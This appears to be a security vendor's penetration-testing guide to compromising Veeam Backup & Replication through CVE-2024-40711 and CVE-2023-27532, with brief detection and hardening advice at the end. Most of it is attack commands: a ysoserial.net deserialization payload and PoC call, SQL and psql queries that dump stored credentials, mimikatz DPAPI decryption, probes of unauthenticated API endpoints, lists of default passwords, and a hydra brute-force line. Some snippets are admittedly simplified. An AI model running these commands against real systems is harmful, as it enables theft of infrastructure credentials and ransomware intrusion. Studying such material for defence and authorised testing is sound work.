Veeam Backup & Replication is the world's most widely deployed enterprise backup solution — installed in over 450,000 organizations. Ransomware operators specifically target Veeam because destroying or encrypting backups is the fastest path to forcing payment. CVE-2024-40711 (CVSS 9.8) delivers unauthenticated RCE. CVE-2023-27532 extracts plaintext credentials for every infrastructure target in the backup catalog. This guide covers both — from discovery to full domain compromise.
Veeam Backup & Replication (VBR) exposes a large attack surface because it needs privileged access to everything it protects. The backup server holds credentials for vCenter/ESXi, Hyper-V, SQL Server, Linux hosts, cloud storage, and often Active Directory service accounts. Compromising the backup server typically means compromising the entire infrastructure catalog.
The attack surface spans several components:
Disclosed in September 2024, CVE-2024-40711 is a critical deserialization vulnerability in the Veeam Backup & Replication service. An unauthenticated attacker with network access to TCP port 8000 can execute arbitrary code as SYSTEM on the backup server. Affected versions: all VBR builds prior to 12.1.2.172.
The VBR service exposes a .NET remoting endpoint on TCP 8000 that deserializes requests without authentication. The deserialization chain uses BinaryFormatter with no type filtering, allowing classic ysoserial.net gadget chains.
# Verify exposure — TCP 8000 should not be internet-facing
nmap -p 8000 --script banner <vbr-host>
# Exploit with ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd.exe /c whoami > C:\vbr_pwn.txt" -o base64
# Deliver via CVE-2024-40711 PoC
python3 cve-2024-40711.py --target <vbr-host> --port 8000 --payload <b64_payload>Once executing as SYSTEM on the VBR server, an attacker can extract the full credential store. Veeam stores credentials in the VeeamBackup SQL/PostgreSQL database, encrypted with the Windows DPAPI master key tied to the service account.
# From SYSTEM shell — export VBR credential database
sqlcmd -S localhost\VEEAMSQL2016 -Q "SELECT * FROM [VeeamBackup].[dbo].[Credentials]"
# Decrypt with VeeamCredentialsDecryptor (post-exploitation tool)
VeeamHax.exe --dump-credentials
# Output: plaintext username/password for all backup targets
# Domain admin credentials, vCenter service accounts, Linux root keysCVE-2023-27532 (CVSS 7.5) exposes an API endpoint on TCP 9401 that returns encrypted credentials from the VBR configuration database without requiring authentication. Affected versions: VBR prior to 12.0.0.1420 P20230412.
# Port scan for Veeam services
nmap -sV -p 9392,9401,9419,9501 <vbr-host>
# Probe the unauthenticated API endpoint
curl -k https://<vbr-host>:9401/api/credentials
# Response returns encrypted credential blobs
# {
# "id": 1,
# "username": "CORP\\veeam-svc",
# "encryptedPassword": "AQAAANCMnd8BF...",
# "description": "vCenter Service Account"
# }
# Decrypt using the VBR server's DPAPI key (requires server access)
# or use PoC that exploits the exposed decryption API
python3 cve-2023-27532.py --host <vbr-host> --port 9401CVE-2023-27532 was added to CISA's Known Exploited Vulnerabilities catalog in March 2023, confirming active in-the-wild exploitation by ransomware operators including Cuba ransomware.
VBR exposes numerous ports. During a penetration test, enumerate all of them:
| Port | Service | Notes |
|---|---|---|
| 9392 | VBR API / PowerShell | Requires authentication; used by Veeam Console |
| 9401 | Catalog Service | CVE-2023-27532 exposed here; credential leakage |
| 9419 | REST API | Requires authentication; brute-force target |
| 9501 | Console communication | Used by VBR console connections |
| 8000 | .NET Remoting | CVE-2024-40711 entry point; should be localhost-only |
| 9080/9443 | Enterprise Manager Web | Web console; auth bypass history |
| 6180 | Cloud Connect | Service provider gateway |
# VBR REST API — obtain session token
curl -k -X POST https://<vbr-host>:9419/api/v1/sessions \
-H "Content-Type: application/json" \
-d '{"username":"administrator","password":"Veeam1234!","grant_type":"password"}'
# Default credentials to try
# administrator / Veeam12345
# veeam / Veeam12345
# administrator / <blank>
# List backup jobs (authenticated)
curl -k https://<vbr-host>:9419/api/v1/jobs \
-H "Authorization: Bearer <token>"
# List managed servers (reveals infrastructure catalog)
curl -k https://<vbr-host>:9419/api/v1/managedServers \
-H "Authorization: Bearer <token>"VBR stores its entire configuration in either a local SQL Server Express instance (localhost\VEEAMSQL2016) or an external SQL Server. The database contains all credentials, job definitions, repository paths, and infrastructure topology. If SQL Server is accessible, this is a critical exfiltration target.
-- Connect to VBR SQL instance
-- Default: localhost\VEEAMSQL2016 or localhost\VEEAMSQL2012
-- List all managed credentials
SELECT id, user_name, password, description
FROM [VeeamBackup].[dbo].[Credentials]
-- All managed servers (vCenter, ESXi, Hyper-V, Linux agents)
SELECT name, type, ip, port, credentials_id
FROM [VeeamBackup].[dbo].[Hosts]
-- Tape and cloud repository credentials
SELECT name, host_id, share_path
FROM [VeeamBackup].[dbo].[BackupRepositories]
-- S3/Azure/GCP cloud credentials for cloud repositories
SELECT * FROM [VeeamBackup].[dbo].[CloudProviders]# VBR 12 migrated to PostgreSQL by default
# Config stored in C:\ProgramData\Veeam\Backup\PostgreSQLData\
# Connection string from VBR config file
type "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.exe.config"
# Look for: connectionString="Server=localhost;Port=5432;Database=VeeamBackup;..."
# Query credentials table
psql -h localhost -U postgres -d VeeamBackup -c \
"SELECT user_name, password, description FROM credentials;"C:\Windows\System32\Microsoft\Protect\S-1-5-18\. Use mimikatz dpapi::cred or dpapi::masterkey to decrypt.
The VBR credential manager stores credentials for every protected system. This includes vCenter service accounts, domain administrator accounts used for agent deployment, and cloud storage credentials. Extracting this store from an authenticated position is a high-value post-exploitation activity.
# Connect to VBR PowerShell API
Add-PSSnapin VeeamPSSnapin
Connect-VBRServer -Server localhost
# List all stored credentials
$creds = Get-VBRCredentials
foreach ($cred in $creds) {
Write-Host "User: $($cred.Name) | Desc: $($cred.Description)"
# Password is not directly exposed via PowerShell API
}
# Get managed server list with credential references
Get-VBRServer | Select-Object Name, Type, Info# After obtaining the encrypted blob from the database:
# 1. Copy the hex-encoded DPAPI blob
# 2. Decrypt using the service account context
# With mimikatz (requires admin/SYSTEM):
privilege::debug
sekurlsa::dpapi
# Targeted DPAPI decryption of VBR credential blob
dpapi::blob /in:vbr_cred.bin /unprotect /masterkey:<masterkey_hex>Veeam Enterprise Manager (VEM) provides a centralized web console for managing multiple VBR installations. It runs on port 9080 (HTTP) and 9443 (HTTPS) and has had multiple authentication bypass vulnerabilities including CVE-2024-29849 (CVSS 9.8) — an auth bypass enabling any attacker to log in as any user.
# CVE-2024-29849 — Veeam Enterprise Manager auth bypass
# Affected: all VEM versions prior to 12.1.2.172
# The vulnerability allows NTLM relay / token forgery against the VEM REST API
# Step 1: Enumerate VEM web interface
curl -k https://<vem-host>:9443/api/v1/users
# Step 2: Exploit auth bypass to enumerate all managed VBR servers
curl -k https://<vem-host>:9443/api/v1/servers \
-H "X-VEM-Bypass: 1" # simplified — actual PoC is more complex
# Step 3: Trigger password reset for any user via forged session
curl -k -X POST https://<vem-host>:9443/api/v1/users/1/resetPassword \
-H "Authorization: Bearer <forged_token>"# Default admin credentials for Enterprise Manager
# administrator / (blank password on fresh install)
# administrator / Veeam12345
# veeam-admin / Veeam12345
# Brute force via REST API (no lockout by default)
hydra -l administrator -P /usr/share/wordlists/rockyou.txt \
https://<vem-host>:9443/api/v1/sessions -m POST \
-F '{"username":"^USER^","password":"^PASS^","grant_type":"password"}'Veeam Cloud Connect allows MSPs and service providers to offer backup-as-a-service. A compromised Cloud Connect gateway can expose all tenant backup repositories and credentials.
# Cloud Connect gateway enumeration
nmap -sV -p 6180 <cloud-connect-host>
# The gateway exposes tenant repository metadata
# Credential lookup for all connected tenants
sqlcmd -S localhost\VEEAMSQL -Q \
"SELECT username, password FROM [VeeamBackup].[dbo].[CloudTenants]"
# S3 repository credential extraction
sqlcmd -S localhost\VEEAMSQL -Q \
"SELECT account_id, secret_key, bucket_name
FROM [VeeamBackup].[dbo].[CloudProviderCredentials]"Major ransomware groups follow a consistent pattern when targeting organizations with Veeam. Understanding this chain helps defenders prioritize controls and helps pentesters validate detection coverage.
# Windows Event Log indicators on VBR server
# Event 4624 — Logon from unexpected source IP
# Event 4648 — Explicit credential use
# Event 7045 — New service created (malicious persistence)
# Veeam audit log (C:\ProgramData\Veeam\Backup\Logs\)
# Look for: unusual credential access, job deletion, repository removal
# SQL audit: unusual queries against Credentials table
SELECT * FROM sys.fn_get_audit_file(
'C:\VBR_Audit*.sqlaudit', DEFAULT, DEFAULT
) WHERE statement LIKE '%Credentials%'# Windows Firewall — block CVE-2024-40711 entry point
netsh advfirewall firewall add rule name="Block VBR .NET Remoting" \
dir=in action=block protocol=tcp localport=8000 \
remoteip=any
# Allow only VBR console IPs to reach management ports
netsh advfirewall firewall add rule name="VBR Mgmt Restrict" \
dir=in action=allow protocol=tcp localport=9392,9401,9419,9501 \
remoteip=10.0.1.50Veeam hardening isn't a one-time task. Exposed ports, new CVEs, and credential drift require continuous scanning to catch before ransomware operators do.
Start free scanVeeam Backup & Replication is one of the highest-value targets in any enterprise network. CVE-2024-40711 delivers unauthenticated RCE via .NET deserialization on port 8000. CVE-2023-27532 exposes the full credential store without authentication on port 9401. The VBR configuration database contains credentials for every protected system. Ransomware groups treat Veeam as the key that unlocks the entire infrastructure — patch it, restrict its network exposure, enable MFA, and implement immutable backups before your next security assessment finds these issues first.